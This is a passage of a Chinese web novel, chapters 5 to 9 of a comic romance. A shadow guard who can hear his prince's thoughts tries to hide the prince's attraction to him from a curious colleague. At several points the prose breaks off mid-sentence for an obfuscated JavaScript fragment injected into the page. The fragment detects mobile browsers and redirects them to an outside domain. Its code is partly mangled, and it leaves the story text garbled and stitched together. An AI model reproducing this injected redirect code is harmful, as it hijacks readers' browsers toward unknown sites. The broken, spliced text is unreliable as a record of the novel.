他可不管那些无论中间或甜或苦最终都顺利在一起的小说情节,坚定地相信自己和他们不一样,美滋滋地想着到时候他有的是机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219619|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会去撮合那一对新人。 或许他可以趁着等待主子顺利结婚的时间悄悄看一些郎情妾意的爱情故事,向成功的经验取经,把那些爱情情节像影卫话本子一样变成真的。 陛下只管往主子的房里塞人,剩下的就全交给他吧! 杨妃只觉得自己心念通达干劲满满,虽然仍有些拖延时间回到王府的意思,但起码也是干着活摸鱼。 然而他这会儿心情有多不错,待会就有多想哭。 兢兢业业探查半天的杨妃突然发现主子想悔婚的决策再正确不过,这大理寺卿家的女娘实在不是那块做王妃的料。 京中盛传的才貌双全温婉和顺他除了貌之外一样也没有看到。 谣言,全都是谣言! 这要是真娶回了家,那岂不是娶回了个祸患? 将大理寺卿府逛了个遍的杨妃眼神空洞极了,他抬头看着月亮,心中悲痛。 他还能见到明天的月亮吗?! 继职业规划破产之后,他的业务能力和敬经验也受到了沉重打击。 出发时,杨妃仗着自己多年经验托底信心满满。 回来时,他心情忐忑脚步沉重一步一挪。 翻过了王府的墙,他蹲在朱柿之前蹲着的那棵树上摘下面具揉了揉眉心,思考着怎么措词在不至于让主子太过生气。 哎。 杨妃觉得有些心累,他敢保证无论他怎么用和缓的语气讲出今天的所见所闻,他家主子都会暴怒的。 愁啊…… 透过树枝的间隙看向窗户,他凝神听着主子均匀的呼吸,做了半晌的心理建设,重新将面具戴好才跳下了树。 悄悄进了屋,一个纵身跃上房梁,杨妃掀起面具的一角向朱柿表明身份,然后略用力将他往旁边蹭了蹭,蹲在他身边假装蘑菇,整个人身上的黑气都快要具现化了。 他抬眼瞥了一眼眼神发亮的朱柿,凭着自己所剩无几的良心对着他比了两个手势。 【这里有我,你快出去吧。】 主子这等隐秘的隐私,可不能再让第三个人知道! 危! 5. 第 5 章 现在天边已经隐隐发亮,距离他家主子平日里起床的时间已经不远了,也离他汇报的时间不远了。 还是先将这小子赶出去吧,省得他在这里再多一个人被发怒的主子迁怒。 杨妃心头惴惴不安,虽然主子向来是赏罚分明,但这次可不一样啊。 这次可涉及到男人的尊严,是绝对不允许任何人讨论质疑的领域。 杨妃看了一眼床上的主子,百思不得其解。 到底从哪传出来的他家王爷不行的啊? 这是谁造的谣? 他家王爷不过是没有侍妾、没有贴身侍女、年近二十却仍是处男罢了,怎么就不行了? 别人或许不知道,但他身为主子的影卫,这等隐私他能不知道吗? 他家主子正当壮年身体健康的很,功能完全正常,甚至有时候清晨也会—— 咳咳。 杨妃想到这里,忽然觉得有点尴尬,忙将那些蹲在房梁上看见的情形忘掉,一边使劲儿地劝朱柿,一边继续忧心怎么和自家王爷讲述。 真不知道大理寺卿家的女娘是哪来的勇气将那些大逆不道的话语说的铿锵有力的。 他光是蹲在屋顶听到的时候就觉得小命休矣,险些没脚滑从房顶上掉下去,待会更是要当着主子的面复述出来,简直是把脑袋捧在手上说话,很难保证主子还能维持理智。 【主子都要被你吵醒了,我再开门出去,那和踩到机关有什么区别?】 【我可不傻!】 一无所知的朱柿可不知道同僚的一腔苦心,他想也不想地反驳,看得杨妃真的很想一个暴栗砸他脑门上。 他不傻还能有谁傻? 这孩子怎么好赖话都看不出来呢? 杨妃还想再比划两句,可朱柿压根不想接他的话茬,只是伸手指了指他脸上的面具,比划道。 【你带着面具做什么?】 影卫们的面具可不是透气的布条,长时间戴在脸上又闷又热,他们一般真要出王府潜伏的时候才会带上,回了王府都会摘掉的。 再加上这面具看着凶恶的很,一般可没人带着他在主子面前晃悠。 朱柿对杨妃的装扮表示疑问,还嫌弃地戳了一下他脸上的面具,继续比划。 【你带着这个面具在主子卧室,万一吓到了刚睡醒的主子怎么办?】 【你可别连累了我一起挨骂!】 ??? 杨妃不敢置信地睁大眼睛,简直倒反天罡! 好好好,是他一腔真心都错付了。 就让他在这呆着吧,待会儿他吃了再多挂落可都不关他的事喽。 不听同僚言吃亏在眼前,他执意如此杨妃便也不再管他,面对他的问题也只是给他一个意味不明的眼神。 他是有苦衷的。 这小子懂什么? 他戴的不是面具,那是安全,是保护他清白的贞操锁。 他现在可和这些同僚们不大一样了,他身上可以有着主子独一份的觊觎,这种能遮挡住自己容貌、尤其是挡住主子记忆深刻唇色的道具他怎么能放过? 这小子哪里懂面具对他来说有多重要? 杨妃没有回答他的疑问,甚至伸手将面具往脸上重重按了下。 在他出了王爷卧室的门将面具戴上的那一刻起,他就已经决定将它焊在自己的脸上了! 什么时候主子和王妃情投意合忘掉他这号人物他再摘下来! 杨妃摸在自己的“安全感”上,不着痕迹地瞪了一眼朱柿。 别以为他没看见朱柿那种“你发什么神经”的不解表情,当他不知道戴着面具又闷又热吗? 他现在流了多少汗也只有他自己才知道了。 但那些都是小节。 现在在房梁上流汗总好过以后在床上流汗。 闷热也好过摩擦生热! 脸上流汗总好过胸膛滴汗! 他们都不懂他的苦! 真是身在福中不知福。 为了继续和影卫们做同僚,他也是殚精竭虑了! 他可不想看这些相处多年的同事对他请安。 杨妃打了个哆嗦,将他们一排排跪在自己面前大喊“王妃好”,而自己一脸娇羞的依偎在王爷怀里的诡异画面赶出去,就听见底下睡的不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219620|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很熟的主子喊了一声。 “杨妃……” 杨妃耳尖地听到了自己的名字,响应速度极快,脑子甚至都没反应过来人就嗖地一下翻身下梁,刚要低头回应,却发现他家主子呼吸平稳一动不动。 他压根就没醒。 说的是梦话。 啊啊啊啊啊! 现在可是在主子的卧室里!这里也不只有他一个人! 主子你到底在干什么—— 杨妃在心底发出一声尖锐的爆鸣,只觉得眼前一黑,恨不得找个地缝钻进去。 该死的,他这个职业习惯能不能改一改? 下一次一定听得仔细、看得分明再跳下去! 他重重按了一下脸上的面具,感受到它冰冷的温度才勉强获得了一点安全感,默不作声地又翻身上去,和朱柿蹲在一起伪装蘑菇。 他想当作无事发生,朱柿却不同意,他被刚才那一幕惊到了,眼睛瞪得溜圆,不敢置信地看向杨妃,手也不安分地使劲戳他胳膊。 杨妃撇过脸,脸色铁青,一万个不愿意面对现实。 他用力按住那只戳他胳膊的手,手背青筋暴起,闭上眼睛只想装瞎,恨不得自己看不懂朱柿比划的句子,仗着有面具的遮挡,脸上的表情比哭都难看,已然有点崩溃了。 到底为什么—— 他怎么就没多拖延一会儿再晚一点回来呢? 偏偏赶回来的时候主子还没睡醒,偏偏主子就说了梦话,还偏偏—— 【主子为什么睡觉还喊着你的名字?】 求求你不要哪壶不开提哪壶了!安安分分蹲在房梁上不好吗? 知道的越多死的越快懂不懂啊? 杨妃不敢抬头看他,盯着房梁上朱柿的一小片影子射眼刀。 啊啊啊啊啊,他不想知道王爷为什么叫他的名字—— 他只想知道一个从来没有说过梦话的人怎么就偏偏说了梦话! 为什么啊,这到底为什么? 什么好事都叫他今天一并赶着了。 他今天到底是冒犯了哪尊大神,才让他如此备受折磨,一定是有人诅咒他! 6. 第 6 章 杨妃不愿意面对现实暗自叹息,连大气都不敢喘,生怕将主子惊醒,但身边的朱柿却没有一点眼力见,不想将这件事翻篇,仍锲而不舍地戳他,连衣袖都比划出了风声。 真是够了! 怎么影卫里出了他这么个好奇心强的,他到底是怎么通过训练的? 再用点力,风声都能将主子吵醒了! 杨妃用力闭了下眼睛,反复告诫自己现在是在房梁上,不能出一点动静,不然真的差点控制不住使用暴力按住朱柿让他安分点。 心情稍微平复了些,他缓缓扭过头去,正对上朱柿那双清澈愚蠢的眼睛,喉结微动欲言又止。 最后他指尖轻颤急中生智,手几乎是哆嗦着比划了一句话。 【你听错了。】 【主子喊的是王妃。】 他一边比划着一边坚定地点头,眨着眼睛试图让朱柿接收到他坚定的眼神,好让他相信自己的鬼话。 比起让这些朝夕相处的同僚们知道主子在睡梦中都含着他的名字,还不如让他们觉得主子连睡觉都在想着王妃的事。 至于想着王妃到底是春心萌动还是想要悔婚,那他们就别管。 总之。 喊的绝对不是他杨妃的名字! 信他啊! 杨妃都没有注意到自己看向朱柿的眼神中带着一丝期盼,他此刻正在紧张地盯着略微歪头的朱柿,心跳都开始加速,有一种等待审判的忐忑感。 朱柿看着他,沉默了一会,蹙着眉做出回想的样子,很是坚定地摇头。 【主子叫的不是你,你跳下去做什么?】 !!! 杨妃眼前一黑,差点没让他一句话怼的撅过去,攥紧了拳头僵硬得像一块石头。 他觉得自己的素质正在随着心理素质的降低而消失,离暴打同僚只在一线之隔。 朱柿浑然不觉微抬下巴,脸上写着“我已经看穿你了”,得意的不行。 【我虽然不及你武功高深,但这样的距离还是不可能听错的。】 【主子叫的就是你的名字。】 【你到底做了什么让主子睡觉都想着你?】 朱柿探究地看着杨妃,眼睛一眨不眨的,还装模作样地委屈似地嘟嘴,对着他那张看不出来表情的面具继续比划,持续输出。 【主子从前从来不说梦话的,更别提喊谁了……】 【一定是你做了什么事。】 朱柿越想越觉得自己想的对,眼睛唰的一下亮起来,看戏的目光都不加遮掩,甚至悄悄挪动了一下步子,靠的杨妃更近了一点。 【你变了。】 【你不是那个好大哥了。】 【说好的情报共享呢?你是不是偷偷讨主子欢心了?】 朱柿比划的速度极快,一句一句的看的杨妃两眼发黑,面具下的脸也僵住,一股无力感涌向心头。 他现在想笑又笑不出来。 讨主子欢心。 感谢朱柿给他提供了一个借口,但他并不想用啊! 他现在哪里敢讨主子的欢心啊?只恨不得离主子八百丈,直接消失在主子视野之中才好呢。 也幸好这家伙年纪小,想象力不丰富,那些男男之间的情情爱爱、王爷和影卫的主仆情缘已经远超了他认知极限,以他容量有限的脑袋瓜也就只能想到讨好了。 还好、还好。 这到底算是个什么事啊? 杨妃眼神呆滞地看向主子,他倒是睡得熟了,都不知道自己无心梦话给他带来多大的麻烦! 怎么自从脑子里凭空多出那些话本子之后,他身边的世界就好像全都变了样似的,原本普通的主仆关系蠢蠢欲动地向床上发展,连前所未有的梦话表真心也安排上了。 这也太话本子了! 他应该庆幸主子只是叫了他的名字、而没有表达爱语,勉强给他留了一些在同僚面前解释的余地吗? 杨妃只觉得自己脆弱的心脏有点接受不了一夜之间接二连三的打击,面前朱柿的疯狂质问也像是接连的利箭一般让他应接不暇。 而且还箭箭直中要害,堪称暴击。 朱柿将手舞住了残影,还分神将杨妃想别过去的脸掰了回来,甚至还想扯下他脸上的面具,强迫他直视自己的问题,不达目的誓不罢休。 杨妃完全能体会到他迫切想要升职加薪的心情,死死捂住脸嘴角抽搐了一下,心里愁的不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219621|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看向他的目光也越发危险,想敲晕人的手指尖颤抖。 这家伙一向脑子不是很灵光,怎么今天反倒不好骗了? 就直接信了他的鬼话相信主子说的是王妃不好吗? 既合理又没有解释的麻烦。 可他偏要打破砂锅问到底,难道还能让他和朱柿解释自家从来不近女色男色的主子其实对他很有想法吗? 那他怎么解释自己知道主子心中的想法? 听见了心声? 有哪一句话是他能与别人说的,又有哪句话是他能说得出口的啊! 杨妃心里苦,被他逼的又没有办法,脑子转得飞快,各种借口在脑海里翻来覆去的滚了一遍,妥协似地抬起手。 说他家主子对他有意思那是万万不能的。 这件事杨妃打死都不会承认的,他不会让任何一个人知道,也打定主意想尽办法让他家主子不将这种事真的说出来。 他得找一个逻辑合理的借口将朱柿骗过去。 只要他今天顺利逃过这一劫,这件事情也就算是翻了篇。 这可是主子说的梦话,天知地知只有他们两个知,影卫的身份也让他们绝不会将这种“房中事”讲给别人听。 还好是朱柿这个年纪小的新人,比那些老油条好骗了不知道多少。 杨妃的心里轻松了两分,手上比划的也越发从容。 【主子叫的就是王妃。】 【今天主子才和陛下因为赐婚一事闹的不愉快,睡觉都睡得不安稳,半夜都要醒来安排事,现在睡着想这件事也是理所应当。】 【刚才跳下去是因为我以为主子想听我汇报呢。】 【没想到说的原来是梦话。】 杨妃绝不承认主子喊的是他,见朱柿不服地抬手还要说话,连忙继续比划将他的话全堵住。 【就算喊的是我,那应当也是关心他交给我的那件事。】 【归根究底都是一样的。】 他不便明说主子给他安排的任务,只能给朱柿一个暗示的眼神,示意他的任务和王妃密切相关。 兄弟你信啊! 他和王爷是清白的! 他愿意以自己九族发誓! 7. 第 7 章 杨妃眼神诚恳,朱柿思索半晌,清澈的眼神更加清澈,有一点失望,恍然大悟似地点点头,没了兴致重新变成了一颗蹲在房梁顶上的蘑菇。 见他消停了,杨妃悬着的心缓缓落下,呼出一口气。 这可比刺杀还要刺激。 总算逃过一劫。 他伸手推了一下脸上的面具,就刚才这一小会儿,额头上的冷汗就黏腻腻地和面具粘在一起,冷静下来只觉得凉嗖嗖的。 心更凉。 求求你了! 杨飞有点哽咽,心有余悸。 他虽然看上去和朱柿一起在房梁上伪装蘑菇,实则耳朵竖的高高的,恨不得将眼睛定死在他家主子的嘴唇上,生怕他再说出些什么更让他羞耻的话。 这样惊险刺激的事有一次就够够的了! 但生活总充满戏剧性,怕什么偏要来什么。 “杨妃。” !!! 王爷的声音不大,但落在杨飞的耳朵里,绝对是晴天霹雳。 他心里一咯噔,瞬间瞪圆了眼睛,原本还飘忽着的视线瞬间挪到了他家主子那一双薄唇上。 他须得看的仔细再仔细。 杨妃的心跳控制不住地加速,紧张地盯着那张不动的嘴,又挪到仍然紧闭的双眼上,绷直的脊背才稍稍放松。 他就说自己不会两次栽在同一个坑里,要不然等他落了下去,发现主子说的还是梦话再翻身上来,那可太尴尬了。 不过这次王爷的声音比上一次不知道清楚了多少,之前还能仗着主子声音小骗朱柿说喊的是王妃,这回可就真是板上钉钉,没有给他一点狡辩的余地。 朱柿是好骗了一点,但还不是个傻子,也不是个聋子! 这叫他怎么解释啊? 死脑子快想到底怎么编啊? 旁边的朱柿眼神火热的都快将他烤干了。 主子这到底做的是什么梦啊?! 怎么睡得这么不消停,又说梦话,叫的还是他的名字? 还持续不断地一直想着他,连着喊了两次他的名字? 杨妃心中有了个不妙的猜测,视线瞬间定在他家主子被褥下身体的某一处,眯着眼去看那里的起伏弧度,心下稍安。 这个鼓包程度根本不是…… 还好不是那种梦…… “杨妃!” 杨妃还蹲在房梁上怀疑人生,没想到他家主子竟又喊了一声,不仅喊了一声,还在他的视线中睁开了双眼,眼神清明地直视房顶,没有一点睡着了的样子。 !!! 等等—— 这回是真的醒了! 他命休矣! 无视主子的话要挨打多少板子来着? 杨妃心下戚戚,动作略显狼狈连滚带爬地从房梁上滚下去,结结实实跪在他家主子一臂远的距离,膝盖和地板接触发出一声沉闷的“咚”。 但他可没有时间为自己的膝盖默哀,连忙将把头埋得低低的,又开始流汗,汗水几乎是在面具和脸颊中间向下流。 还好主子不知道他刚才在猜测他是不是做了春梦,不然就真的完蛋了。 “主子。” 杨妃如临大敌地跪着,清晰地感觉到他家主子探究的目光扫过全身,在面具上停留的额外久,目光有些不善。 “你受伤了?” 王爷疑惑地问,仔细看了一圈,没看到什么异常,可他刚刚喊了一声却没有得到回应,实在不符合常理。 再加上他刚才下来的动作也明显狼狈很多,和平常杨妃干净利落养眼潇洒的样子实在相差甚远。 王爷不由得有些担心,联想到之前他出去的时候还好好的,脸上便带了几丝凝重。 区区一个大理寺卿府上有什么人有那个本事伤到他数一数二的暗卫? 难道这大理寺卿私下圈养兵马意图谋反不成? 如此看来他倒还真是歪打正着了! 主子的问题没头没脑的,杨妃愣了一下,不敢再犯忽视主子的错误,连忙回应道,“属下没有受伤。” 他能感受到主子的目光越发疑惑,便明白是他刚才的动作太大惹得了主子的怀疑,连忙解释一句,又直接请罪。 “属下一时分心,请主子责罚。” 【那就好。】 【只要他没有受伤怎样都行,大不了本王再派别人去做这件事。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219622|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【不如以后还是让他待在王府里面吧,外面实在不怎么安全……】 !!! 不要—— 杨妃听了这话差点没两眼一翻直接晕过去,一直留他在身边那还了得! 老话说见面三分情,但他不需要啊! 他干咽了口唾沫,思考着万一主子真的这么说他如何能保持外出的机会,好在他百思不得其解时还是王爷自己先略过了这一想法。 王爷在心中嘀咕,问了另一件他十分关注的事,“你今日怎么戴了面具?” 他明明记得让他出门做任务的时候他脸上还没有面具的,怎么这会儿回来却带上了? 还将他的脸挡的严严实实的,一点都看不见。 本来他能见到影卫面的时候就少,这回还平白多了个障碍物。 “属下探查归来急于禀报,一时便没有更换装扮。” 杨妃认认真真解释,只字不提自己的小心思,只管展示自己积极的工作状态。 和主子拉开距离是一回事,升职加薪又是另一回事。他希望自己在实用性上保持着无可替代的地位,在情绪价值上则可有可无。 可惜了他尽力展示自己的有用,但那个让他展示自己的主子却一点注意力都没分给他说的话。 王爷自有他想关注的点,他越看这面具越觉得不顺眼,心里嫌弃的很。 【这面具也太丑了,实在有碍观瞻,应该寻个机会让府上重新定制一批新的。】 【这么丑的面具把脸遮上,多可惜了容颜。】 【若不是这碍眼的东西,我现在还能好好看看他的样子。】 【也不知道他今夜守了一夜累不累。】 杨妃听着他家主子的心声,把头埋得更低,低到脖颈伸长成一条直线,隐约能感觉到一点疼痛才停手。 要不是还得维持着自己的动作不能失态,他真的很想伸手将面具重新系紧,直接焊在自己脸上。 丑点好啊,嫌弃好啊。 面具真是个好东西! 可他家主子却不这么想。 【阻挡了本王视线,这东西实在可恶,便是他硬要带,那也只能带本王亲自做的。】 8. 第 8 章 “……” 杨妃听着他家主子如此自信的心声,紧张的情绪一扫而空,他现在只想笑。 哈哈。 他家王爷也就是想想了,若是真做起来,那必是不能的。 他哪里会这个呢? 到最后也无非是找两个工匠吩咐下去罢了,杨妃只管听着他的心声,情绪没有丝毫波动。 他只是有点怀疑王爷到底对他有没有非分之想,还是说他和王爷关于喜欢的定义不一样。 真的有爱吗? 杨妃很是怀疑,又联想到他家主子干净的如同白纸一般的感情史,便觉得说不定王爷真的不懂。 他默默地在自己在任务安排上又加上了一项,是时候进修一下如何成为爱情教头了。 不管王爷到底爱没爱过,懂不懂爱,他总会让主子知道什么才是最好的。 反正不是他! 两个人的心理活动多到写都写不下,可屋子里却一时没有人说话,蹲在房梁上的假装自己不存在默默看戏,跪在地上的心绪万千大逆不道地想着怎么向上管理,坐在床上的王爷也沉浸在自己的思绪中。 王爷皱着眉,心中多有不爽,看着杨妃低着的脑壳,紧紧地盯着那张丑陋面具上支棱着尖角。 杨妃的头低得很低,在这个角度王爷什么都看不见。 除了鬼面上的角。 王爷越看越觉得那面具碍眼极了,他身体略微前倾,很想直接将那个奇丑无比又阻碍视线的面具薅下来。 且不说那面具让他没见到自己想见的,就单单它大晚上的意图吓他一跳就已经罪该万死了。 受不了一点。 皇族的尊严不容挑衅。 王爷一言不发,那些床上悉悉索索的动静源源不断的传到杨妃耳中。 不用看他都能想象到王爷在看什么。 杨妃感受着声音具现出来的景象,脑子里的警铃叮当作响,不妙的感觉愈演愈烈。 他家王爷不会想亲自将他面具摘下来吧! 这要是万一摘面具的时候手指碰到了他的脸可怎么办? 之前一个上药都能让他记了整整一年多,这要是真的碰到了还不得天天念叨啊! 不行!绝对不行! 杨妃深知这种事情一旦发生,再搭配上王爷那丰富的想象力和他难以理解的自我激励,那就和暧昧没什么区别了,若是王爷再进一步放开想象,欣喜若狂到觉得他们俩已经成眷属了也不是不可能。 那种时不时能回味一下的事情有那么一件已经足够了! 杨妃可不想再多一件事能让王爷天天想着他。 他可一点不觉得自己杞人忧天,那些心声中的脑补情景已经是他的前车之鉴了。 杨妃可不想大意失清白,绝不能给主子一点机会! 说时迟那时快,他来不及细想,电光火石之间身体快思维一步,手指迅速地搭在了面具的绳子上,指尖一勾就将面具的绳子轻松扯断。 为了避免夜长梦多,他甚至还用上了内力做辅助,情急之下那一瞬间他甚至觉得自己停滞了有一段时间的内力都有所进益。 将面具拿在手里,杨妃就像是拿了一个烫手山芋似的反手将整个面具扣在地上,咣当一声硬生生地让他家王爷刚抬起来的手僵在了半空中,只能悻悻地放下。 好耶! 还好他反应快! 杨妃听着王爷收回手放在床上的声响,心中有些得意。 他可不管王爷现在的心情有多郁闷,反正他倒是庆幸开心,很满意自己的果决和速度。 想他杨妃这么多年冬练三九夏练三伏,那些个强筋壮骨的药浴不知道泡了多少回,如今这不都用上了? 功夫可没白学! 主子给他们用作药浴的银子每一分也都没白花! 杨妃现在心情美得很,完全没有料到他马上就要乐极生悲了。 王爷到底是王爷,什么大场面没见过,在自己的卧室出了一点只有自己才能知道的小尴尬罢了,对他来说压根就不算事。 他几息之间就调整好了情绪,再也顾不得心中那点小别扭只目不转睛地盯着这个影卫,有些惊奇,心中喃喃。 【这模样……】 王爷身体略微前倾向杨飞的方向凑近了些,十指攥紧了被子,听着自己骤然加速的心跳,嗓子有些干。 【还真是常看常新,母妃诚不欺我,新鲜感果然让本王爱不释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219623|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。】 【虽说有些凌乱,但为什么看上去比平常还要让我挪不开眼?】 !!! 杨妃听着自家主子的心声,感受着落在身上直勾勾的眼神,恨不得挖个地洞钻下去,只想赶紧消失。 他不理解王爷到底在想些什么,怎么自打能听见王爷的心声之后就觉得这个原本朝夕相处还算了解的人让他感到如此陌生呢? 常看常新那是能形容在他身上的吗? 影卫这个职业就注定了他们的无趣,王爷咋就又看到兴奋了? 见鬼的新鲜感! 杨妃浑身紧绷着,忽然就懂了话本子里所说的菊花一紧到底是什么感觉。 简直就是在说他啊! 主子能不能不要再想了? 再想下去就是话本子里的口口禁忌符号了啊—— 他几欲抓狂,王爷却兴致满满目光在他身上逡巡,眼角都带着一丝笑意。 【这种汗水打湿了头发沾在脸上的样子,衬着他皮肤更加白皙了。】 【睫毛一颤一颤的也显得有点可怜。】 【倒是头一回发现原来他的睫毛这样的长。】 王爷盯着他睫毛投下来的一片阴影,忽然就体会到了这种由上而下角度的妙处,有一种诡异的满足感,也不抱怨杨妃总低着头看不见脸了。 【虽说和平常清冷刚毅的样子不大一样。】 【但本王也喜欢。】 【这种头发湿漉漉的样子……可真是让本王想要怜惜。】 王爷的心声一句连着一句,杨妃的心跳跟着一下一下乱跳。 怎会如此! 他扣在面具上的手不由得用力,手背青筋凸起,指尖颤抖。 他真的很想不顾主人的命令直接把面具带上。 急急急! 他现在非常需要有个东西保护自己,给自己提供一些安全感,这地方已经让他如坐针毡了! 不要看了、不要再看了! 杨妃在心里尖叫,眼前一片片恍惚,沉稳的表情险些没绷住,再让主子这么看下去,他的清白能活到明天吗? 为什么啊!到底是为什么啊! 兴奋的点在哪儿啊? 9. 第 9 章 也许是一晚上来回奔波,杨妃现在觉得累极了,尤其是心累。 他感觉自家主子比复杂的机关都难搞,哪怕再小心,随便做点什么都能触发要清白的机关。 他都要打不起精神来了。 听不见心声的日子这才过去几个时辰,他却已经怀念的不行了。 那会儿是多么的美好啊…… 主子说什么,他就去做什么,主仆之间自有一番默契。 他甚至能明白王爷每一个小动作和眼神的暗示,两个人之间那叫一个融洽,而不是现在,他根本不能理解主子的心声,完全不能共情。 杨妃两眼空空地看着地砖,试图从砖缝里叮出花儿来。 什么默契早就灰飞烟灭了,唯剩下困惑在他心中。 主子不应该嫌弃这种汗津津的样子吗? 他这样子都多狼狈了,难道不应该洁癖发作、怒斥他失仪,将他赶下去勒令他收拾整齐再上来吗? 到底是从哪看出来可怜,想要怜惜的啊! 他家主子是不是背着他偷偷的看那些影卫的话本子了? 不然从哪里学会的话本子里王爷们的眼光! 后悔。 杨妃现在后悔极了,想狠狠地给自己几巴掌冷静一下,只觉得今天没有一个决定做得对,活像见了鬼。 他之所以戴着面具回来没有摘下去,也不过是想着遮掩一下自己的容貌,好让他家主子放弃自己的想法。 只是没想到王爷如此讨厌这个狰狞鬼面当场就让他摘下来啊。 更没有想到这种摘下面具的动作就这么戳中了他家主子心巴,反倒让他更来了兴致弄巧成拙了。 主子你稍微控制一下情绪,那心跳都乱的不像样子了,一定要稳住啊! 他可不想夺嫡大业未半,而主子中道心梗。 该死的! 这全都赖他自己。 好好地像平常一样不好吗? 偏偏自作聪明地戴上面具。 主子再给他一次机会行不行? 他喜欢的每一处杨妃都记得牢牢的,他用清白发誓每一处王爷喜欢的地方他都会改的! 杨妃绝望地闭上眼睛,一丝微弱的动静从房梁上传到他的耳中,还有更弱些的动静来自窗外。 是了。 现在正是影卫们换班的时候,外面正有一个同僚等着进屋换班。 那房梁顶上还有一个活物在那里看戏呢。 杨妃攥紧拳头,只能庆幸房梁上的朱柿是个小白,应该看不出来王爷看他的眼神有什么不对。 不然这王府之大,就要没有他的容身之处了。 杨妃在心中哀嚎,努力控制着自己不要失态,床上的王爷此刻和他心有灵犀,正做着同样的努力维护形象。 王爷深呼了一口气,双腿默默地挤在一起夹紧,抓紧了被子拢在身边,艰难平复了下身体的躁动,有些懊恼地移开视线转移话题。 “你今日到底怎么了?怎么老盯着本王不放?” “我记得你们不是不能长时间直视本王吗?” !!! 嘶—— 听见这话杨妃瞳孔震颤了一瞬间,忽然就明白之前为什么被王爷叫着从房梁上滚下来了。 那会儿他被突然出现在脑海子里的话本子冲击太强,一时之间对王爷的性取向产生怀疑失了分寸,盯着他家主子看得入神,没注意看了太久。 他家主子虽然说不长于武功,但也是练过武有内力的,也是能感觉到别人长时间直视的目光的,再加上本身睡的不熟,被他看醒了也是正常的。 原来如此。 这样说来…… 他家主子刚才之所以叫他的名字怕不是也是被他看醒的…… 杨妃想通了便有些心虚,要不是他家主子梦话说了他的名字,他也不至于控制不住地想盯着他家主子的嘴看。 结果反倒真的被叫了。 哎。 打那些话本子出现之后,他犯的小错误也未免太多了,看来今天被惩罚一顿是少不了了。 他可怜的小身板跟着他又要受罪了。 电光火石之间杨妃理顺了事情的来龙去脉,面对主子疑惑的质问连半个字都解释不出来。 话本子是一字都不能说的。 梦话他也不想说。 现在的情况属于是他家主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219624|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子对他有些意思,而他明知道却在想尽办法阻挠。 要是主子知道他梦中叫着自己的名字,还被自己听到了,又亲口将自己已经知道了说出来,尴尬不尴尬的暂且不提,他们俩之间这脆弱的窗户纸是肯定会被捅破了。 而他也没有了在中间转圜的余地,直接面对到底从不从的艰难抉择,无论怎么想这都是自寻死路。 